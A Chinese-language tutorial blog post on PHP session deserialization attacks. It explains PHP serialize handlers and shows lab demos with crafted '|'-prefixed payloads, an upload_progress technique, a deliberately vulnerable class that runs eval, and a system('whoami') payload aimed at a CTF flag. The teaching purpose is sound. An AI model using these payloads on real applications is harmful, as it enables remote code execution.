session反序列化攻击

session介绍

Session 是另一种记录客户状态的机制,被称为“会话控制”,客户端浏览器访问服务器的时候,服务器把客户端信息以Session形式记录在服务器中,Session 对象存储特定用户会话所需的属性及配置信息,这样就可以保证用户在应用程序的Web页面之间跳转时,存储在Session中的变量不会丢失,而是在整个会话周期中一直存在。客户端浏览器再次访问时只需要从该 Session 中查找该客户的状态就可以了。当会话过期或者被放弃后,服务器将终止该会话

session运行流程

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

session_start()函数

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会进行如下操作:

1.依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

2.调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

php.ini中session相关配置

session.save_path="" session的存储路径

session.save_handler="" 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(例如数据库)

session.auto_start boolen 指定绘画模块是否在请求开始的时候启动一个会话,默认情况下为0,不启动

session.serialize_handler string 定义用来序列化/反序列化的处理器的名字,默认使用PHP



以上的路径是我自己使用PHPstudy搭建的环境中的路径,在Linux中常见的session存放位置的路径如下

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

session可能导致的攻击层面

Session序列化攻击

Session文件包含

Session伪造用户登录

Session逻辑漏洞

Session序列化攻击

Serialize_handler
我们要了解Session的攻击之前,我们还需要了解Session机制中对序列化的处理方式,在php中存在三种序列化处理引擎:

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4)经过 serialize() 函数反序列处理的数组

测试代码:

<?php

ini_set("session.serialize_handler","php");
ini_set("session.serialize_handler","php_binary");
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['test'] = "Alexsel";

?>

按顺序依次的输出结果:

test|s:7:"Alexsel";
tests:7:"Alexsel";
a:1:{s:4:"test";s:7:"Alexsel";}

其中第二条文件中样式:

由于Session引擎不同进行攻击

我们在phpinfo()信息中可以看到我们php相关参数信息,其中也包括我们默认的session.serialize_handler,一般情况下是php,如果有些文件中如果想要使用其它引擎来处理session,就会自己设置session的引擎,如果我们在代码中看到有自己设置引擎的情况存在,就有可能存在问题,因为可能会导致生成session的引擎和处理Session的引擎不是一个从而导致问题。
我们可以通过一个Demo来学习:
demo1.php

<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['test'] = $_GET['a'];
var_dump($_SESSION);
?>

demo2.php

<?php
session_start();
class student{
    var $name;
    var $age;
    function __wakeup(){
        echo $this->name;
    }
}
?>

我们可以看到demo.php中修改了默认引擎为php_serialize,而第demo2.php中使用的是默认的引擎php,这种情况就出现了不同引擎来处理session的情况。
我们之前了解session的运行机制以及session_start()函数的介绍,还有不同引擎存放session格式之间的差异之后,我们可以知道|在php引擎中是键与值的分割,而在php_serialize中没有分割的意思,仅仅代表一个字符,所以在两种不同引擎解析的情况下,我们在demo1.php中传入带有|的参数,然后在demo2.php读取session,由于|被当作分割,|之后的内容会被反序列化处理(这里为什么会反序列化,可以看我们之前对session_start()函数的介绍)。
这里我们首先根据demo2.php中的类来生成一个序列化后的内容供我们之后进行测试

<?php
session_start();
class student{
    var $name = "Alexsel";
    var $age = "3";
}
$obj = new student();
echo serialize($obj);
?>

输出结果:

O:7:"student":2:{s:4:"name";s:7:"Alexsel";s:3:"age";s:1:"3";}

接下来我们就根据php_searialize输出session文件的内容进行构造,首先我们知道我们需要在最开始添加一个|,剩下的内容就是我们之前生成的内容,替换到生成的session应该是如下的样子

a:1:{s:4:"test";s:7:"|O:7:"student":2:{s:4:"name";s:7:"Alexsel";s:3:"age";s:1:"3";}";}

这个时候我们会发现,最后多出了一个";},那我们就将我们传入的内容中删去这部分,最终的payload:

|O:7:"student":2:{s:4:"name";s:7:"Alexsel";s:3:"age";s:1:"3

在没有传入payload的情况下访问demo2.php,无内容输出

接着我们在demo1中传入payload

然后访问demo2

最终成功触发了__wakeup()方法。

没有$_SESSION变量赋值的情况

之前我们测试情况是存在$_SESSION变量赋值的情况,如果代码中不存在$_SESSION的赋值,我们该如何利用?这种情况我们还需要了解php中的一个upload_progress机制,这个机制是在session.upload_progress.enabled开启的情况下,在文件上传的同时发送一个POST请求,这个POST请求的变量与session.upload_progress.name相同的时候,PHP会在$_SESSION中添加一组数据,索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。这样我们又达到了对$_SESSION变量的控制。具体介绍我们可以去查看一下官方文档:
https://www.php.net/manual/zh/session.upload-progress.php
最开始我不理解为什么这种方法会可以成功,后来我仔细看了官方文档的时候,我发现当我们在POST中添加了session.upload_progress.name同名变量的时候就会生成一个以session.upload_progress.prefixsession.upload_progress.name连接在一起的$_SESSION的键,其中的值为如下,下面的代码也是从官网中的介绍截图而来。

刚才我们提到了几个变量,我们可以在phpinfo中查看到其内容:

既然变量又可以控制了,那我们需要的条件从原来的使用的了不同的引擎,现在又增加了一个是需要在上传的时候提交POST内容,其实除此之外如果我们想要输出$_SESSION中的内容,还有一个条件就是phpinfo()session.upload_progress.cleanup这个值的需要是off,这个这个选项的意思是上传完成时从session中清除上传进度信息,默认为开启,如果将其关闭的化,这个上传进度信息会一直留在session中,只有这个选项也是关闭的时候,才能够成功触发漏洞。
接下来我们以一个简单的Demo为例子来进行练习。

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class Test
{
    public $name="phpinfo();";
    function __destruct()
    {
        eval($this->name);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new Test();
}

当我们随便给phpinfo传入一个值的时候,就显示phpinfo的页面,我们可以发现其使用的引擎是不一样的

我么构造一个上传的页面,这里就直接借用php官网的上传测试页面,就在讲解session上传进度的页面中,我们复制过来修改一下

<form action="http://192.168.252.182/anh/Test.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name='<?php echo ini_get("session.upload_progress.name"); ?>' value="123" />
 <input type="file" name="file1" />
 <input type="submit" />
</form>

接下来我们根据其提供的源码来构造处一个反序列化的字符串,一会儿供我们测试

<?php
class Test
{
    public $name="echo 123;";
}
$obj = new Test();
echo serialize($obj);
?>

输出结果:

O:4:"Test":1:{s:4:"name";s:9:"echo 123;";}

不过在我们传输参数的时候由于外层使用的也是双引号,我们可以将其替换为单引号或者将双引号转义:

O:4:\"Test\":1:{s:4:\"name\";s:9:\"echo 123;\";}

经过测试我们的代码可以执行,由于我们要解题,我们可以查看当前目录下是否会包含flag文件,所以我们将执行的代码替换为system("whoami"),为了让反序列化执行,我们需要在最开始添加|

|O:4:"Test":1:{s:4:"name";s:17:"system("whoami");";}

最终输出了我们结果,这里有一个关键点是我们需要指定或者从它返回的cookie中设置cookie:

参考文章:

https://xz.aliyun.com/t/7366

https://zhuanlan.zhihu.com/p/90879209

https://www.cnblogs.com/litlife/p/10748506.html

https://zhuanlan.zhihu.com/p/90879209

最后修改:2020 年 09 月 09 日
如果觉得我的文章对你有用,请随意赞赏